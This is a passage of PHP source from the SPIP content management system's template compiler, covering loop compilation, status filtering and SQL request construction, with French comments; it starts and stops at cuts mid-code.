(isset($boucle->modificateur[$m]) or isset($boucle->modificateur['criteres'][$m])) { $filtrer = false; break; } } } if ($filtrer) { if (is_array($s['champ'])) { $statut = preg_replace(',\W,', '', array_pop($s['champ'])); // securite $jointures = array(); // indiquer la description de chaque table dans le tableau de jointures, // ce qui permet d'eviter certains GROUP BY inutiles. $trouver_table = charger_fonction('trouver_table', 'base'); foreach ($s['champ'] as $j) { $id = reset($j); $def = $trouver_table($id); $jointures[] = array('', array($id, $def), end($j)); } $jointures[0][0] = $id_table; if (!array_search($id, $boucle->from)) { include_spip('public/jointures'); fabrique_jointures($boucle, $jointures, true, $boucle->show, $id_table, '', $echapper); } // trouver l'alias de la table d'arrivee qui porte le statut $id = array_search($id, $boucle->from); } else { $id = $id_table; $statut = preg_replace(',\W,', '', $s['champ']); // securite } $mstatut = $id . '.' . $statut; $arg_ignore_previsu = ($ignore_previsu ? ",true" : ''); include_spip('public/quete'); if (isset($s['post_date']) and $s['post_date'] and $GLOBALS['meta']["post_dates"] == 'non' ) { $date = $id . '.' . preg_replace(',\W,', '', $s['post_date']); // securite array_unshift($boucle->where, $echapper ? "\nquete_condition_postdates('$date'," . _q($boucle->sql_serveur) . "$arg_ignore_previsu)" : quete_condition_postdates($date, $boucle->sql_serveur, $ignore_previsu) ); } array_unshift($boucle->where, $echapper ? "\nquete_condition_statut('$mstatut'," . _q($s['previsu']) . "," . _q($s['publie']) . "," . _q($boucle->sql_serveur) . "$arg_ignore_previsu)" : quete_condition_statut($mstatut, $s['previsu'], $s['publie'], $boucle->sql_serveur, $ignore_previsu) ); } } } } /** * Produit le corps PHP d'une boucle Spip. * * Ce corps remplit une variable $t0 retournée en valeur. * Ici on distingue boucles recursives et boucle à requête SQL * et on insère le code d'envoi au debusqueur du resultat de la fonction. * * @param string $id_boucle * Identifiant de la boucle * @param array $boucles * AST du squelette * @return string * Code PHP compilé de la boucle */ function calculer_boucle($id_boucle, &$boucles) { $boucle = &$boucles[$id_boucle]; instituer_boucle($boucle); $boucles[$id_boucle] = pipeline('post_boucle', $boucles[$id_boucle]); // en mode debug memoriser les premiers passages dans la boucle, // mais pas tous, sinon ca pete. if (_request('var_mode_affiche') != 'resultat') { $trace = ''; } else { $trace = $boucles[$id_boucle]->descr['nom'] . $id_boucle; $trace = "if (count(@\$GLOBALS['debug_objets']['resultat']['$trace'])<3) \$GLOBALS['debug_objets']['resultat']['$trace'][] = \$t0;"; } return ($boucles[$id_boucle]->type_requete == TYPE_RECURSIF) ? calculer_boucle_rec($id_boucle, $boucles, $trace) : calculer_boucle_nonrec($id_boucle, $boucles, $trace); } /** * Compilation d'une boucle recursive. * * @internal * Il suffit (ET IL FAUT) sauvegarder les valeurs des arguments passes par * reference, car par definition un tel passage ne les sauvegarde pas * * @param string $id_boucle * Identifiant de la boucle * @param array $boucles * AST du squelette * @param string $trace * Code PHP (en mode debug uniquement) servant à conserver une * trace des premières valeurs de la boucle afin de pouvoir * les afficher dans le débugueur ultérieurement * @return string * Code PHP compilé de la boucle récursive **/ function calculer_boucle_rec($id_boucle, &$boucles, $trace) { $nom = $boucles[$id_boucle]->param[0]; return // Numrows[$nom] peut ne pas être encore defini "\n\t\$save_numrows = (isset(\$Numrows['$nom']) ? \$Numrows['$nom'] : array());" . "\n\t\$t0 = " . $boucles[$id_boucle]->return . ";" . "\n\t\$Numrows['$nom'] = (\$save_numrows);" . $trace . "\n\treturn \$t0;"; } /** * Compilation d'une boucle non recursive. * * La constante donne le cadre systématique du code: * * - %s1: initialisation des arguments de calculer_select * - %s2: appel de calculer_select en donnant un contexte pour les cas d'erreur * - %s3: initialisation du sous-tableau Numrows[id_boucle] * - %s4: sauvegarde de la langue et calcul des invariants de boucle sur elle * - %s5: boucle while sql_fetch ou str_repeat si corps monotone * - %s6: restauration de la langue * - %s7: liberation de la ressource, en tenant compte du serveur SQL * - %s8: code de trace eventuel avant le retour **/ define('CODE_CORPS_BOUCLE', '%s if (defined("_BOUCLE_PROFILER")) $timer = time()+(float)microtime(); $t0 = ""; // REQUETE $iter = IterFactory::create( "%s", %s, array(%s) ); if (!$iter->err()) { %s%s$SP++; // RESULTATS %s %s$iter->free(); }%s if (defined("_BOUCLE_PROFILER") AND 1000*($timer = (time()+(float)microtime())-$timer) > _BOUCLE_PROFILER) spip_log(intval(1000*$timer)."ms %s","profiler"._LOG_AVERTISSEMENT); return $t0;' ); /** * Compilation d'une boucle (non recursive). * * @param string $id_boucle * Identifiant de la boucle * @param array $boucles * AST du squelette * @param string $trace * Code PHP (en mode debug uniquement) servant à conserver une * trace des premières valeurs de la boucle afin de pouvoir * les afficher dans le débugueur ultérieurement * @return string * Code PHP compilé de la boucle récursive **/ function calculer_boucle_nonrec($id_boucle, &$boucles, $trace) { $boucle = &$boucles[$id_boucle]; $return = $boucle->return; $type_boucle = $boucle->type_requete; $primary = $boucle->primary; $constant = preg_match(CODE_MONOTONE, str_replace("\\'", '', $return)); $flag_cpt = $boucle->mode_partie || $boucle->cptrows; $corps = ''; // faudrait expanser le foreach a la compil, car y en a souvent qu'un // et puis faire un [] plutot qu'un "','." if ($boucle->doublons) { $corps .= "\n\t\t\tforeach(" . $boucle->doublons . ' as $k) $doublons[$k] .= "," . ' . index_pile($id_boucle, $primary, $boucles) . "; // doublons\n"; } // La boucle doit-elle selectionner la langue ? // - par defaut, les boucles suivantes le font // (sauf si forcer_lang==true ou si le titre contient <multi>). // - a moins d'une demande explicite via {!lang_select} if (!$constant && $boucle->lang_select != 'non' && (($boucle->lang_select == 'oui') || in_array($type_boucle, array( 'articles', 'rubriques', 'hierarchie', 'breves' ))) ) { // Memoriser la langue avant la boucle et la restituer apres // afin que le corps de boucle affecte la globale directement $init_lang = "lang_select(\$GLOBALS['spip_lang']);\n\t"; $fin_lang = "lang_select();\n\t"; $fin_lang_select_public = "\n\t\tlang_select();"; $corps .= "\n\t\tlang_select_public(" . index_pile($id_boucle, 'lang', $boucles) . ", '" . $boucle->lang_select . "'" . (in_array($type_boucle, array( 'articles', 'rubriques', 'hierarchie', 'breves' )) ? ', ' . index_pile($id_boucle, 'titre', $boucles) : '') . ');'; } else { $init_lang = ''; $fin_lang = ''; $fin_lang_select_public = ''; // sortir les appels au traducteur (invariants de boucle) if (strpos($return, '?php') === false and preg_match_all("/\W(_T[(]'[^']*'[)])/", $return, $r) ) { $i = 1; foreach ($r[1] as $t) { $init_lang .= "\n\t\$l$i = $t;"; $return = str_replace($t, "\$l$i", $return); $i++; } } } // gestion optimale des separateurs et des boucles constantes if (count($boucle->separateur)) { $code_sep = ("'" . str_replace("'", "\'", join('', $boucle->separateur)) . "'"); } $corps .= ((!$boucle->separateur) ? (($constant && !$corps && !$flag_cpt) ? $return : (($return === "''") ? '' : ("\n\t\t" . '$t0 .= ' . $return . ";"))) : ("\n\t\t\$t1 " . ((strpos($return, '$t1.') === 0) ? (".=" . substr($return, 4)) : ('= ' . $return)) . ";\n\t\t" . '$t0 .= ((strlen($t1) && strlen($t0)) ? ' . $code_sep . " : '') . \$t1;")); // Calculer les invalideurs si c'est une boucle non constante et si on // souhaite invalider ces elements if (!$constant and $primary) { include_spip('inc/invalideur'); if (function_exists($i = 'calcul_invalideurs')) { $corps = $i($corps, $primary, $boucles, $id_boucle); } } // gerer le compteur de boucle // avec ou sans son utilisation par les criteres {1/3} {1,4} {n-2,1}... if ($boucle->partie or $boucle->cptrows) { $corps = "\n\t\t\$Numrows['$id_boucle']['compteur_boucle']++;" . $boucle->partie . $corps; } // depiler la lang de la boucle si besoin $corps .= $fin_lang_select_public; // si le corps est une constante, ne pas appeler le serveur N fois! if (preg_match(CODE_MONOTONE, str_replace("\\'", '', $corps), $r)) { if (!isset($r[2]) or (!$r[2])) { if (!$boucle->numrows) { return "\n\t\$t0 = '';"; } else { $corps = ""; } } else { $boucle->numrows = true; $corps = "\n\t\$t0 = str_repeat($corps, \$Numrows['$id_boucle']['total']);"; } } else { $corps = "while (\$Pile[\$SP]=\$iter->fetch()) {\n$corps\n }"; } $count = ''; if (!$boucle->select) { if (!$boucle->numrows or $boucle->limit or $boucle->mode_partie or $boucle->group) { $count = '1'; } else { $count = 'count(*)'; } $boucles[$id_boucle]->select[] = $count; } if ($flag_cpt) { $nums = "\n\t// COMPTEUR\n\t" . "\$Numrows['$id_boucle']['compteur_boucle'] = 0;\n\t"; } else { $nums = ''; } if ($boucle->numrows or $boucle->mode_partie) { $nums .= "\$Numrows['$id_boucle']['total'] = @intval(\$iter->count());" . $boucle->mode_partie . "\n\t"; } // Ne calculer la requete que maintenant // car ce qui precede appelle index_pile qui influe dessus $init = (($init = $boucles[$id_boucle]->doublons) ? ("\n\t$init = array();") : '') . calculer_requete_sql($boucles[$id_boucle]); $contexte = memoriser_contexte_compil($boucle); $a = sprintf(CODE_CORPS_BOUCLE, $init, $boucle->iterateur, "\$command", $contexte, $nums, $init_lang, $corps, $fin_lang, $trace, 'BOUCLE' . $id_boucle . ' @ ' . ($boucle->descr['sourcefile']) ); # var_dump($a);exit; return $a; } /** * Calcule le code PHP d'une boucle contenant les informations qui produiront une requête SQL * * Le code produit est un tableau associatif $command contenant les informations * pour que la boucle produise ensuite sa requête, tel que `$command['from'] = 'spip_articles';` * * @param Boucle $boucle * AST de la boucle * @return string * Code PHP compilé définissant les informations de requête **/ function calculer_requete_sql($boucle) { $init = array(); $init[] = calculer_dec('table', "'" . $boucle->id_table . "'"); $init[] = calculer_dec('id', "'" . $boucle->id_boucle . "'"); # En absence de champ c'est un decompte : $init[] = calculer_dec('from', calculer_from($boucle)); $init[] = calculer_dec('type', calculer_from_type($boucle)); $init[] = calculer_dec('groupby', 'array(' . (($g = join("\",\n\t\t\"", $boucle->group)) ? '"' . $g . '"' : '') . ")"); $init[] = calculer_dec('select', 'array("' . join("\",\n\t\t\"", $boucle->select) . "\")"); $init[] = calculer_dec('orderby', 'array(' . calculer_order($boucle) . ")"); $init[] = calculer_dec('where', calculer_dump_array($boucle->where)); $init[] = calculer_dec('join', calculer_dump_join($boucle->join)); $init[] = calculer_dec('limit', (strpos($boucle->limit, 'intval') === false ? "'" . $boucle->limit . "'" : $boucle->limit)); $init[] = calculer_dec('having', calculer_dump_array($boucle->having)); $s = $d = ""; // l'index 0 de $i indique si l'affectation est statique (contenu) // ou recalculée à chaque passage (vide) foreach ($init as $i) { if (reset($i)) { $s .= "\n\t\t" . end($i); } # statique else { $d .= "\n\t" . end($i); } # dynamique } return ($boucle->hierarchie ? "\n\t$boucle->hierarchie" : '') . $boucle->in . $boucle->hash . "\n\t" . 'if (!isset($command[\'table\'])) {' . $s . "\n\t}" . $d; } /** * Retourne une chaîne des informations du contexte de compilation * * Retourne la source, le nom, l'identifiant de boucle, la ligne, la langue * de l'élément dans une chaîne. * * @see reconstruire_contexte_compil() * * @param Object $p * Objet de l'AST dont on mémorise le contexte * @return string * Informations du contexte séparés par des virgules, * qui peut être utilisé pour la production d'un tableau array() **/ function memoriser_contexte_compil($p) { return join(',', array( _q(isset($p->descr['sourcefile']) ? $p->descr['sourcefile'] : ''), _q(isset($p->descr['nom']) ? $p->descr['nom'] : ''), _q(isset($p->id_boucle) ? $p->id_boucle : null), intval($p->ligne), '$GLOBALS[\'spip_lang\']' )); } /** * Reconstruit un contexte de compilation * * Pour un tableau d'information de contexte donné, * retourne un objet Contexte (objet générique de l'AST) * avec ces informations * * @see memoriser_contexte_compil() * * @param array $context_compil * Tableau des informations du contexte * @return Contexte * Objet Contexte **/ function reconstruire_contexte_compil($context_compil) { if (!is_array($context_compil)) { return $context_compil; } $p = new Contexte; $p->descr = array( 'sourcefile' => $context_compil[0], 'nom' => $context_compil[1] ); $p->id_boucle = $context_compil[2]; $p->ligne = $context_compil[3]; $p->lang = $context_compil[4]; return $p; } /** * Calcule le code d'affectation d'une valeur à une commande de boucle * * Décrit le code qui complète le tableau $command qui servira entre autres * à l'itérateur. Pour un nom de commande donnée et un code PHP décrivant * ou récupérant une valeur, on retourne le code PHP qui fait l'affectation. * * L'index 0 du tableau retourné indique, lorsqu'il n'est pas vide, que l'affectation * de la variable pourra être statique (c'est à dire qu'il ne dépend * pas d'une quelconque variable PHP), et donc attribué une fois pour toutes * quelque soit le nombre d'appels de la boucle. * * @param string $nom * Nom de la commande * @param string $val * Code PHP décrivant la valeur à affecter * @return array * * - index 0 : Code pour une affectation statique. Si non rempli, la propriété devra * être ré-affectée à chaque appel de la boucle. * - index 1 : Code de l'affectation **/ function calculer_dec($nom, $val) { $static = 'if (!isset($command[\'' . $nom . '\'])) '; // si une variable apparait dans le calcul de la clause // il faut la re-evaluer a chaque passage if ( strpos($val, '$') !== false /* OR strpos($val, 'sql_') !== false OR ( $test = str_replace(array("array(",'\"',"\'"),array("","",""),$val) // supprimer les array( et les echappements de guillemets AND strpos($test,"(")!==FALSE // si pas de parenthese ouvrante, pas de fonction, on peut sortir AND $test = preg_replace(",'[^']*',UimsS","",$test) // supprimer les chaines qui peuvent contenir des fonctions SQL qui ne genent pas AND preg_match(",\w+\s*\(,UimsS",$test,$regs) // tester la presence de fonctions restantes )*/ ) { $static = ""; } return array($static, '$command[\'' . $nom . '\'] = ' . $val . ';'); } /** * Calcule l'expression PHP décrivant un tableau complexe (ou une chaîne) * * Lorsqu'un tableau est transmis, reconstruit de quoi créer le tableau * en code PHP (une sorte de var_export) en appelant pour chaque valeur * cette fonction de manière récursive. * * Si le premier index (0) du tableau est "'?'", retourne un code * de test entre les 3 autres valeurs (v1 ? v2 : v3). Les valeurs * pouvant être des tableaux aussi. * * @param mixed $a * Les données dont on veut construire un équivalent de var_export * @return string * Expression PHP décrivant un texte ou un tableau **/ function calculer_dump_array($a) { if (!is_array($a)) { return $a; } $res = ""; if ($a and $a[0] == "'?'") { return ("(" . calculer_dump_array($a[1]) . " ? " . calculer_dump_array($a[2]) . " : " . calculer_dump_array($a[3]) . ")"); } else { foreach ($a as $v) { $res .= ", " . calculer_dump_array($v); } return "\n\t\t\tarray(" . substr($res, 2) . ')'; } } // http://code.spip.net/@calculer_dump_join function calculer_dump_join($a) { $res = ""; foreach ($a as $k => $v) { $res .= ", '$k' => array(" . implode(',', $v) . ")"; } return 'array(' . substr($res, 2) . ')'; } /** * Calcule l'expression PHP décrivant les informations FROM d'une boucle * * @param Boucle $boucle * Description de la boucle * @return string * Code PHP construisant un tableau des alias et noms des tables du FROM **/ function calculer_from(&$boucle) { $res = ""; foreach ($boucle->from as $k => $v) { $res .= ",'$k' => '$v'"; } return 'array(' . substr($res, 1) . ')'; } /** * Calcule l'expression PHP décrivant des informations de type de jointure * pour un alias de table connu dans le FROM * * @param Boucle $boucle * Description de la boucle * @return string * Code PHP construisant un tableau des alias et type de jointure du FROM **/ function calculer_from_type(&$boucle) { $res = ""; foreach ($boucle->from_type as $k => $v) { $res .= ",'$k' => '$v'"; } return 'array(' . substr($res, 1) . ')'; } // http://code.spip.net/@calculer_order function calculer_order(&$boucle) { if (!$order = $boucle->order and !$order = $boucle->default_order ) { $order = array(); } /*if (isset($boucle->modificateur['collate'])){ $col = "." . $boucle->modificateur['collate']; foreach($order as $k=>$o) if (strpos($order[$k],'COLLATE')===false) $order[$k].= $col; }*/ return join(', ', $order); } // Production du code PHP a partir de la sequence livree par le phraseur // $boucles est passe par reference pour affectation par index_pile. // Retourne une expression PHP, // (qui sera argument d'un Return ou la partie droite d'une affectation). // http://code.spip.net/@calculer_liste function calculer_liste($tableau, $descr, &$boucles, $id_boucle = '') { if (!$tableau) { return "''"; } if (!isset($descr['niv'])) { $descr['niv'] = 0; } $codes = compile_cas($tableau, $descr, $boucles, $id_boucle); if ($codes === false) { return false; } $n = count($codes); if (!$n) { return "''"; } $tab = str_repeat("\t", $descr['niv']); if (_request('var_mode_affiche') != 'validation') { if ($n == 1) { return $codes[0]; } else { $res = ''; foreach ($codes as $code) { if (!preg_match("/^'[^']*'$/", $code) or substr($res, -1, 1) !== "'" ) { $res .= " .\n$tab$code"; } else { $res = substr($res, 0, -1) . substr($code, 1); } } return '(' . substr($res, 2 + $descr['niv']) . ')'; } } else { $nom = $descr['nom'] . $id_boucle . ($descr['niv'] ? $descr['niv'] : ''); return "join('', array_map('array_shift', \$GLOBALS['debug_objets']['sequence']['$nom'] = array(" . join(" ,\n$tab", $codes) . ")))"; } } define('_REGEXP_COND_VIDE_NONVIDE', "/^[(](.*)[?]\s*''\s*:\s*('[^']+')\s*[)]$/"); define('_REGEXP_COND_NONVIDE_VIDE', "/^[(](.*)[?]\s*('[^']+')\s*:\s*''\s*[)]$/"); define('_REGEXP_CONCAT_NON_VIDE', "/^(.*)[.]\s*'[^']+'\s*$/"); // http://code.spip.net/@compile_cas function compile_cas($tableau, $descr, &$boucles, $id_boucle) { $codes = array(); // cas de la boucle recursive if (is_array($id_boucle)) { $id_boucle = $id_boucle[0]; } $type = !$id_boucle ? '' : $boucles[$id_boucle]->type_requete; $tab = str_repeat("\t", ++$descr['niv']); $mode = _request('var_mode_affiche'); $err_e_c = ''; // chaque commentaire introduit dans le code doit commencer // par un caractere distinguant le cas, pour exploitation par debug. foreach ($tableau as $p) { switch ($p->type) { // texte seul case 'texte': $code = sandbox_composer_texte($p->texte, $p); $commentaire = strlen($p->texte) . " signes"; $avant = ''; $apres = ''; $altern = "''"; break; case 'polyglotte': $code = ""; foreach ($p->traductions as $k => $v) { $code .= ",'" . str_replace(array("\\", "'"), array("\\\\", "\\'"), $k) . "' => '" . str_replace(array("\\", "'"), array("\\\\", "\\'"), $v) . "'"; } $code = "choisir_traduction(array(" . substr($code, 1) . "))"; $commentaire = '&'; $avant = ''; $apres = ''; $altern = "''"; break; // inclure case 'include': $p->descr = $descr; $code = calculer_inclure($p, $boucles, $id_boucle); if ($code === false) { $err_e_c = true; $code = "''"; } else { $commentaire = '<INCLURE ' . addslashes(str_replace("\n", ' ', $code)) . '>'; $avant = ''; $apres = ''; $altern = "''"; } break; // boucle case TYPE_RECURSIF: $nom = $p->id_boucle; $newdescr = $descr; $newdescr['id_mere'] = $nom; $newdescr['niv']++; $avant = calculer_liste($p->avant, $newdescr, $boucles, $id_boucle); $apres = calculer_liste($p->apres, $newdescr, $boucles, $id_boucle); $newdescr['niv']--; $altern = calculer_liste($p->altern, $newdescr, $boucles, $id_boucle); if (($avant === false) or ($apres === false) or ($altern === false)) { $err_e_c = true; $code = "''"; } else { $code = 'BOUCLE' . str_replace("-", "_", $nom) . $descr['nom'] . '($Cache, $Pile, $doublons, $Numrows, $SP)'; $commentaire = "?$nom"; if (!$boucles[$nom]->milieu and $boucles[$nom]->type_requete <> TYPE_RECURSIF ) { if ($altern != "''") { $code .= "\n. $altern"; } if ($avant <> "''" or $apres <> "''") { spip_log("boucle $nom toujours vide, code superflu dans $descr[sourcefile]"); } $avant = $apres = $altern = "''"; } else { if ($altern != "''") { $altern = "($altern)"; } } } break; case 'idiome': $l = array(); $code = ''; foreach ($p->arg as $k => $v) { $_v = calculer_liste($v, $descr, $boucles, $id_boucle); if ($k) { $l[] = _q($k) . ' => ' . $_v; } else { $code = $_v; } } // Si le module n'est pas fourni, l'expliciter sauf si calculé if ($p->module) { $m = $p->module . ':' . $p->nom_champ; } elseif ($p->nom_champ) { $m = MODULES_IDIOMES . ':' . $p->nom_champ; } else { $m = ''; } $code = (!$code ? "'$m'" : ($m ? "'$m' . $code" : ("(strpos(\$x=$code, ':') ? \$x : ('" . MODULES_IDIOMES . ":' . \$x))"))) . (!$l ? '' : (", array(" . implode(",\n", $l) . ")")); $code = "_T($code)"; if ($p->param) { $p->id_boucle = $id_boucle; $p->boucles = &$boucles; $code = compose_filtres($p, $code); } $commentaire = ":"; $avant = ''; $apres = ''; $altern = "''"; break; case 'champ': // cette structure pourrait etre completee des le phrase' (a faire) $p->id_boucle = $id_boucle; $p->boucles = &$boucles; $p->descr = $descr; #$p->interdire_scripts = true; $p->type_requete = $type; $code = calculer_champ($p); $commentaire = '#' . $p->nom_champ . $p->etoile; $avant = calculer_liste($p->avant, $descr, $boucles, $id_boucle); $apres = calculer_liste($p->apres, $descr, $boucles, $id_boucle); $altern = "''"; // Si la valeur est destinee a une comparaison a '' // forcer la conversion en une chaine par strval // si ca peut etre autre chose qu'une chaine if (($avant != "''" or $apres != "''") and $code[0] != "'" # AND (strpos($code,'interdire_scripts') !== 0) and !preg_match(_REGEXP_COND_VIDE_NONVIDE, $code) and !preg_match(_REGEXP_COND_NONVIDE_VIDE, $code) and !preg_match(_REGEXP_CONCAT_NON_VIDE, $code) ) { $code = "strval($code)"; } break; default: // Erreur de construction de l'arbre de syntaxe abstraite $code = "''"; $p->descr = $descr; $err_e_c = _T('zbug_erreur_compilation'); erreur_squelette($err_e_c, $p); } // switch if ($code != "''") { $code = compile_retour($code, $avant, $apres, $altern, $tab, $descr['niv']); $codes[] = (($mode == 'validation') ? "array($code, '$commentaire', " . $p->ligne . ")" : (($mode == 'code') ? "\n// $commentaire\n$code" : $code)); } } // foreach return $err_e_c ? false : $codes; } // production d'une expression conditionnelle ((v=EXP) ? (p . v .s) : a) // mais si EXP est de la forme (t ? 'C' : '') on produit (t ? (p . C . s) : a) // de meme si EXP est de la forme (t ? '' : 'C') // http://code.spip.net/@compile_retour function compile_retour($code, $avant, $apres, $altern, $tab, $n) { if ($avant == "''") { $avant = ''; } if ($apres == "''") { $apres = ''; } if (!$avant and !$apres and ($altern === "''")) { return $code; } if (preg_match(_REGEXP_CONCAT_NON_VIDE, $code)) { $t = $code; $cond = ''; } elseif (preg_match(_REGEXP_COND_VIDE_NONVIDE, $code, $r)) { $t = $r[2]; $cond = '!' . $r[1]; } else { if (preg_match(_REGEXP_COND_NONVIDE_VIDE, $code, $r)) { $t = $r[2]; $cond = $r[1]; } else { $t = '$t' . $n; $cond = "($t = $code)!==''"; } } $res = (!$avant ? "" : "$avant . ") . $t . (!$apres ? "" : " . $apres"); if ($res !== $t) { $res = "($res)"; } return !$cond ? $res : "($cond ?\n\t$tab$res :\n\t$tab$altern)"; } function compile_inclure_doublons($lexemes) { foreach ($lexemes as $v) { if ($v->type === 'include' and $v->param) { foreach ($v->param as $r) { if (trim($r[0]) === 'doublons') { return true; } } } } return false; } // Prend en argument le texte d'un squelette, le nom de son fichier d'origine, // sa grammaire et un nom. Retourne False en cas d'erreur, // sinon retourne un tableau de fonctions PHP compilees a evaluer, // notamment une fonction portant ce nom et calculant une page. // Pour appeler la fonction produite, lui fournir 2 tableaux de 1 e'le'ment: // - 1er: element 'cache' => nom (du fichier ou` mettre la page) // - 2e: element 0 contenant un environnement ('id_article => $id_article, etc) // Elle retournera alors un tableau de 5 e'le'ments: // - 'texte' => page HTML, application du squelette a` l'environnement; // - 'squelette' => le nom du squelette // - 'process_ins' => 'html' ou 'php' selon la pre'sence de PHP dynamique // - 'invalideurs' => de'pendances de cette page, pour invalider son cache. // - 'entetes' => tableau des entetes http // En cas d'erreur, elle retournera un tableau des 2 premiers elements seulement // http://code.spip.net/@public_compiler_dist function public_compiler_dist($squelette, $nom, $gram, $sourcefile, $connect = '') { // Pre-traitement : reperer le charset du squelette, et le convertir // Bonus : supprime le BOM include_spip('inc/charsets'); $squelette = transcoder_page($squelette); // rendre inertes les echappements de #[](){}<> $i = 0; while (false !== strpos($squelette, $inerte = '-INERTE' . $i)) { $i++; } $squelette = preg_replace_callback(',\\\\([#[()\]{}<>]),', create_function('$a', "return '$inerte-'.ord(\$a[1]).'-';"), $squelette, -1, $esc); $descr = array( 'nom' => $nom, 'gram' => $gram, 'sourcefile' => $sourcefile, 'squelette' => $squelette ); // Phraser le squelette, selon sa grammaire $boucles = array(); $f = charger_fonction('phraser_' . $gram, 'public'); $squelette = $f($squelette, '', $boucles, $descr); $boucles = compiler_squelette($squelette, $boucles, $nom, $descr, $sourcefile, $connect); // restituer les echappements if ($esc) { foreach ($boucles as $i => $boucle) { $boucles[$i]->return = preg_replace_callback(",$inerte-(\d+)-,", create_function('$a', 'return chr($a[1]);'), $boucle->return); $boucles[$i]->descr['squelette'] = preg_replace_callback(",$inerte-(\d+)-,", create_function('$a', 'return "\\\\".chr($a[1]);'), $boucle->descr['squelette']); } } $debug = ($boucles and defined('_VAR_MODE') and _VAR_MODE == 'debug'); if ($debug) { include_spip('public/decompiler'); foreach ($boucles as $id => $boucle) { if ($id) { $decomp = "\n/* BOUCLE " . $boucle->type_requete . " " . str_replace('*/', '* /', public_decompiler($boucle, $gram, 0, 'criteres')) . " */\n"; } else { $decomp = ("\n/*\n" . str_replace('*/', '* /', public_decompiler($squelette, $gram)) . "\n*/"); } $boucles[$id]->return = $decomp . $boucle->return; $GLOBALS['debug_objets']['code'][$nom . $id] = $boucle->return; } } return $boucles; } // Point d'entree pour arbre de syntaxe abstraite fourni en premier argument // Autres specifications comme ci-dessus function compiler_squelette($squelette, $boucles, $nom, $descr, $sourcefile, $connect = '') { static $trouver_table; spip_timer('calcul_skel'); if (defined('_VAR_MODE') and _VAR_MODE == 'debug') { $GLOBALS['debug_objets']['squelette'][$nom] = $descr['squelette']; $GLOBALS['debug_objets']['sourcefile'][$nom] = $sourcefile; if (!isset($GLOBALS['debug_objets']['principal'])) { $GLOBALS['debug_objets']['principal'] = $nom; } } foreach ($boucles as $id => $boucle) { $GLOBALS['debug_objets']['boucle'][$nom . $id] = $boucle; } $descr['documents'] = compile_inclure_doublons($squelette); // Demander la description des tables une fois pour toutes if (!$trouver_table) { $trouver_table = charger_fonction('trouver_table', 'base'); } // reperer si les doublons sont demandes // pour un inclure ou une boucle document // c'est utile a la fonction champs_traitements foreach ($boucles as $id => $boucle) { if (!($type = $boucle->type_requete)) { continue; } if (!$descr['documents'] and ( (($type == 'documents') and $boucle->doublons) or compile_inclure_doublons($boucle->avant) or compile_inclure_doublons($boucle->apres) or compile_inclure_doublons($boucle->milieu) or compile_inclure_doublons($boucle->altern)) ) { $descr['documents'] = true; } if ($type != TYPE_RECURSIF) { if (!$boucles[$id]->sql_serveur and $connect) { $boucles[$id]->sql_serveur = $connect; } // chercher dans les iterateurs du repertoire iterateur/ if ($g = charger_fonction( preg_replace('/\W/', '_', $boucle->type_requete), 'iterateur', true) ) { $boucles[$id] = $g($boucle); // sinon, en cas de requeteur d'un type predefini, // utiliser les informations donnees par le requeteur // cas "php:xx" et "data:xx". } else { if ($boucle->sql_serveur and $requeteur = charger_fonction($boucle->sql_serveur, 'requeteur', true)) { $requeteur($boucles, $boucle, $id); // utiliser la description des champs transmis } else { $show = $trouver_table($type, $boucles[$id]->sql_serveur); // si la table n'existe pas avec le connecteur par defaut, // c'est peut etre une table qui necessite son connecteur dedie fourni // permet une ecriture allegee (GEO) -> (geo:GEO) if (!$show and $show = $trouver_table($type, strtolower($type)) ) { $boucles[$id]->sql_serveur = strtolower($type); } if ($show) { $boucles[$id]->show = $show; // recopie les infos les plus importantes $boucles[$id]->primary = isset($show['key']["PRIMARY KEY"]) ? $show['key']["PRIMARY KEY"] : ''; $boucles[$id]->id_table = $x = preg_replace(",^spip_,", "", $show['id_table']); $boucles[$id]->from[$x] = $nom_table = $show['table']; $boucles[$id]->iterateur = 'SQL'; $boucles[$id]->descr = &$descr; if ((!$boucles[$id]->jointures) and is_array($show['tables_jointures']) and count($x = $show['tables_jointures']) ) { $boucles[$id]->jointures = $x; } if ($boucles[$id]->jointures_explicites) { $jointures = preg_split("/\s+/", $boucles[$id]->jointures_explicites); while ($j = array_pop($jointures)) { array_unshift($boucles[$id]->jointures, $j); } } } else { // Pas une erreur si la table est optionnelle if ($boucles[$id]->table_optionnelle) { $boucles[$id]->type_requete = ''; } else { $boucles[$id]->type_requete = false; $boucle = $boucles[$id]; $x = (!$boucle->sql_serveur ? '' : ($boucle->sql_serveur . ":")) . $type; $msg = array( 'zbug_table_inconnue', array('table' => $x) ); erreur_squelette($msg, $boucle); } } } } } } // Commencer par reperer les boucles appelees explicitement // car elles indexent les arguments de maniere derogatoire foreach ($boucles as $id => $boucle) { if ($boucle->type_requete == TYPE_RECURSIF and $boucle->param) { $boucles[$id]->descr = &$descr; $rec = &$boucles[$boucle->param[0]]; if (!$rec) { $msg = array( 'zbug_boucle_recursive_undef', array('nom' => $boucle->param[0]) ); erreur_squelette($msg, $boucle); $boucles[$id]->type_requete = false; } else { $rec->externe = $id; $descr['id_mere'] = $id; $boucles[$id]->return = calculer_liste(array($rec), $descr, $boucles, $boucle->param); } } } foreach ($boucles as $id => $boucle) { $id = strval($id); // attention au type dans index_pile $type = $boucle->type_requete; if ($type and $type != TYPE_RECURSIF) { $res = ''; if ($boucle->param) { // retourne un tableau en cas d'erreur $res = calculer_criteres($id, $boucles); } $descr['id_mere'] = $id; $boucles[$id]->return = calculer_liste($boucle->milieu, $descr, $boucles, $id); // Si les criteres se sont mal compiles // ne pas tenter d'assembler le code final // (mais compiler le corps pour detection d'erreurs) if (is_array($res)) { $boucles[$id]->type_requete = false; } } } // idem pour la racine $descr['id_mere'] = ''; $corps = calculer_liste($squelette, $descr, $boucles); // Calcul du corps de toutes les fonctions PHP, // en particulier les requetes SQL et TOTAL_BOUCLE // de'terminables seulement maintenant foreach ($boucles as $id => $boucle) { $boucle = $boucles[$id] = pipeline('pre_boucle', $boucle); if ($boucle->return === false) { $corps = false; continue; } // appeler la fonction de definition de la boucle if ($req = $boucle->type_requete) { // boucle personnalisée ? $table = strtoupper($boucle->type_requete); $serveur = strtolower($boucle->sql_serveur); if ( // fonction de boucle avec serveur & table (!$serveur or ((!function_exists($f = "boucle_" . $serveur . "_" . $table)) and (!function_exists($f = $f . "_dist")) ) ) // fonction de boucle avec table and (!function_exists($f = "boucle_" . $table)) and (!function_exists($f = $f . "_dist")) ) { // fonction de boucle standard if (!function_exists($f = 'boucle_DEFAUT')) { $f = 'boucle_DEFAUT_dist'; } } $req = 